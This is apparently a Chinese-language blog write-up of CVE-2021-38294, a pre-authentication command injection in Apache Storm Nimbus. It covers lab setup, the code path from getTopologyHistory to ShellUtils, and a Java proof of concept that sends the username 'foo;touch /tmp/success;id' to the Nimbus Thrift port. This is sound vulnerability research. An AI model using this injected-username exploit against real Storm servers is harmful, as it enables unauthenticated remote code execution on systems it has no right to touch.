目录

CVE-2021-38294 Apache Storm Nimbus RCE 简单分析

简介

Apache Storm是一个免费开源、分布式、高容错的实时计算系统。Storm令持续不断的流计算变得容易,弥补了Hadoop批处理所不能满足的实时要求。Storm经常用于在实时分析、在线机器学习、持续计算、分布式远程调用和ETL等领域。Storm主要分为两种组件Nimbus和Supervisor。这两种组件都是快速失败的,没有状态。任务状态和心跳信息等都保存在Zookeeper上的,提交的代码资源都在本地机器的硬盘上。

漏洞描述

该漏洞是Nimbus Thrift服务器中的 Shell 命令注入漏洞,存在于getTopologyHistory服务中,攻击者可以通过向Nimbus服务器发送恶意制作的Thrift请求以在身份验证之前远程执行代码。

影响版本

1
2
3
Apache Storm 2.2.X < 2.2.1
Apache Storm 2.1.X < 2.1.1
Apache Storm 1.X < 1.2.4

环境搭建

Storm需要配合zookeeper一起搭建,并且需要在Linux上,因为本漏洞只存在于Linux上。 本次测试使用的Storm版本为2.2.0

zookeeper搭建启动

下载完成后进入/apache-zookeeper-3.7.0-bin/conf目录下,执行以下命令启动zookeeper

1
2
3
cp zoo_sample.cfg  zoo.cfg
cd ../bin
./zkServer.sh start

storm搭建启动

下载完成后进入/apache-storm-2.2.0/conf目录下,修改storm.yaml文件

将ip修改为本机ip,端口自定义

1
2
3
4
storm.zookeeper.servers:
    - "192.168.23.129"
nimbus.seeds : ["192.168.23.129"]
ui.port: 8081

然后执行以下命令启动storm

注意先启动zookeeper,然后执行python脚本

1
2
3
4
cd ../bin
python3 storm.py nimbus
python3 storm.py supervisor
python3 storm.py ui

然后访问8080端口,ui页面成功搭建

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/77cb2e68-9175-3031-91fa-f03efc30f6b6.png

接下来需要添加计算机作业Topology 创建一个maven项目,修改pom.xml内容为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>stormJob</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.apache.storm</groupId>
            <artifactId>storm-core</artifactId>
            <version>2.2.0</version>
        </dependency>
    </dependencies>

</project>

然后创建sum.ClusterSumStormTopology类 将类的内容修改为:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
package sum;
import java.util.Map;

import org.apache.storm.Config;
import org.apache.storm.StormSubmitter;
import org.apache.storm.generated.AlreadyAliveException;
import org.apache.storm.generated.AuthorizationException;
import org.apache.storm.generated.InvalidTopologyException;
import org.apache.storm.spout.SpoutOutputCollector;
import org.apache.storm.task.OutputCollector;
import org.apache.storm.task.TopologyContext;
import org.apache.storm.topology.OutputFieldsDeclarer;
import org.apache.storm.topology.TopologyBuilder;
import org.apache.storm.topology.base.BaseRichBolt;
import org.apache.storm.topology.base.BaseRichSpout;
import org.apache.storm.tuple.Fields;
import org.apache.storm.tuple.Tuple;
import org.apache.storm.tuple.Values;
import org.apache.storm.utils.Utils;

public class ClusterSumStormTopology {

    /**
     * Spout需要继承BaseRichSpout
     * 产生数据并且发送出去
     * */
    public static class DataSourceSpout extends BaseRichSpout{

        private SpoutOutputCollector collector;
        /**
         * 初始化方法,在执行前只会被调用一次
         * @param conf 配置参数
         * @param context 上下文
         * @param collector 数据发射器
         * */
        public void open(Map conf, TopologyContext context, SpoutOutputCollector collector) {
            this.collector = collector;
        }

        int number = 0;
        /**
         * 产生数据,生产上一般是从消息队列中获取数据
         * */
        public void nextTuple() {
            this.collector.emit(new Values(++number));
            System.out.println("spout发出:"+number);
            Utils.sleep(1000);
        }

        /**
         * 声明输出字段
         * @param declarer
         * */
        public void declareOutputFields(OutputFieldsDeclarer declarer) {
            /**
             * num是上nextTuple中emit中的new Values对应的。上面发几个,这里就要定义几个字段。
             * 在bolt中获取的时候,只需要获取num这个字段就行了。
             * */
            declarer.declare(new Fields("num"));
        }

    }

    /**
     * 数据的累计求和Bolt
     * 接收数据并且处理
     * */
    public static class SumBolt extends BaseRichBolt{

        /**
         * 初始化方法,只会被执行一次
         * */
        public void prepare(Map stormConf, TopologyContext context, OutputCollector collector) {

        }

        int sum=0;
        /**
         * 获取spout发送过来的数据
         * */
        public void execute(Tuple input) {
            //这里的num就是在spout中的declareOutputFields定义的字段名
            //可以根据index获取,也可以根据上一个环节中定义的名称获取
            Integer value = input.getIntegerByField("num");
            sum+=value;
            System.out.println("Bolt:sum="+sum);
        }

        /**
         * 声明输出字段
         * @param declarer
         * */
        public void declareOutputFields(OutputFieldsDeclarer declarer) {

        }

    }

    public static void main (String[] args){


        //TopologyBuilder根据spout和bolt来构建Topology
        //storm中任何一个作业都是通过Topology方式进行提交的
        //Topology中需要指定spout和bolt的执行顺序
        TopologyBuilder tb = new TopologyBuilder();
        tb.setSpout("DataSourceSpout", new DataSourceSpout());
        //SumBolt以随机分组的方式从DataSourceSpout中接收数据
        tb.setBolt("SumBolt", new SumBolt()).shuffleGrouping("DataSourceSpout");

        //代码提交到storm集群上运行
        try {
            StormSubmitter.submitTopology("ClusterSumStormTopology", new Config(), tb.createTopology());
        } catch (AlreadyAliveException e) {
            e.printStackTrace();
        } catch (InvalidTopologyException e) {
            e.printStackTrace();
        } catch (AuthorizationException e) {
            e.printStackTrace();
        }

    }
}

最后将maven打jar包上传到storm上 在/apache-storm-2.2.0/bin目录下执行以下命令

1
2
python3 storm.py jar stormJob-1.0-SNAPSHOT.jar sum.ClusterSumStormTopology
python3 storm.py list

当出现以下界面时成功部署

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/b8851d7a-98a3-6f3e-6bd6-faef25acfba1.png

漏洞研究复现

Nimbus会在6627端口上开启许多服务,并且默认情况下没有设置任何身份验证,因此造成了RCE。

请求的堆栈跟踪如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
getGroupsForUserCommand:124, ShellUtils (org.apache.storm.utils)
getUnixGroups:110, ShellBasedGroupsMapping (org.apache.storm.security.auth)
getGroups:77, ShellBasedGroupsMapping (org.apache.storm.security.auth)
userGroups:2832, Nimbus (org.apache.storm.daemon.nimbus)
isUserPartOf:2845, Nimbus (org.apache.storm.daemon.nimbus)
getTopologyHistory:4607, Nimbus (org.apache.storm.daemon.nimbus)
getResult:4701, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)
getResult:4680, Nimbus$Processor$getTopologyHistory (org.apache.storm.generated)
process:38, ProcessFunction (org.apache.storm.thrift)
process:38, TBaseProcessor (org.apache.storm.thrift)
process:172, SimpleTransportPlugin$SimpleWrapProcessor (org.apache.storm.security.auth)
invoke:524, AbstractNonblockingServer$FrameBuffer (org.apache.storm.thrift.server)
run:18, Invocation (org.apache.storm.thrift.server)
runWorker:-1, ThreadPoolExecutor (java.util.concurrent)
run:-1, ThreadPoolExecutor$Worker (java.util.concurrent)
run:-1, Thread (java.lang)

攻击者可以通过提供用户名来执行系统目录,例如: user = "foo;touch /tmp/success;id"

根据堆栈和参数user进行跟踪

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/3c68b4b4-8831-1ef3-5199-78f2496e1db8.png

user参数传入isUserPartOf()

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/c881ade4-9492-b036-b20a-32026c1e8c98.png

然后传入到this.userGroups(user),继续跟进

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/463ad179-6977-8420-c42b-906080764443.png

根据三元运算符user参数传入this.groupMapper.getGroups(user),继续跟进

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/50f3a9ad-61ce-f9d8-438a-61f61a1dde29.png

user参数传入this.getUnixGroups(user),继续跟进

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/f3cfd43f-ee50-85d2-a7cd-9136530db94a.png

user参数传入ShellUtils.getGroupsForUserCommand(user),继续跟进

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/ee8e3bca-5af7-1856-bb71-6f045daed73f.png

最后拼接执行系统命令,user参数没有任何过滤造成命令注入。

用poc进行测试执行touch /tmp/success

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/47c45bbd-9324-c1fe-cfff-d4788f52d95c.png

命令成功执行,success被创建

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/4aefcd0c-2894-7a71-8720-634f41931c08.png

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.storm.thrift.TException;
import org.apache.storm.thrift.transport.TTransportException;
import org.apache.storm.utils.NimbusClient;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;

public class Main {
    public static void main(String[] args) throws TException {
        HashMap config = new HashMap();
        List<String> seeds = new ArrayList<String>();
        seeds.add("localhost");
        config.put("storm.thrift.transport", "org.apache.storm.security.auth.SimpleTransportPlugin");
        config.put("storm.thrift.socket.timeout.ms", 60000);
        config.put("nimbus.seeds", seeds);
        config.put("storm.nimbus.retry.times", 5);
        config.put("storm.nimbus.retry.interval.millis", 2000);
        config.put("storm.nimbus.retry.intervalceiling.millis", 60000);
        config.put("nimbus.thrift.port", 6627);
        config.put("nimbus.thrift.max_buffer_size", 1048576);
        config.put("nimbus.thrift.threads", 64);
        NimbusClient nimbusClient = new NimbusClient(config, "localhost", 6627);

        // send attack
        nimbusClient.getClient().getTopologyHistory("foo;touch /tmp/success;id");
    }
}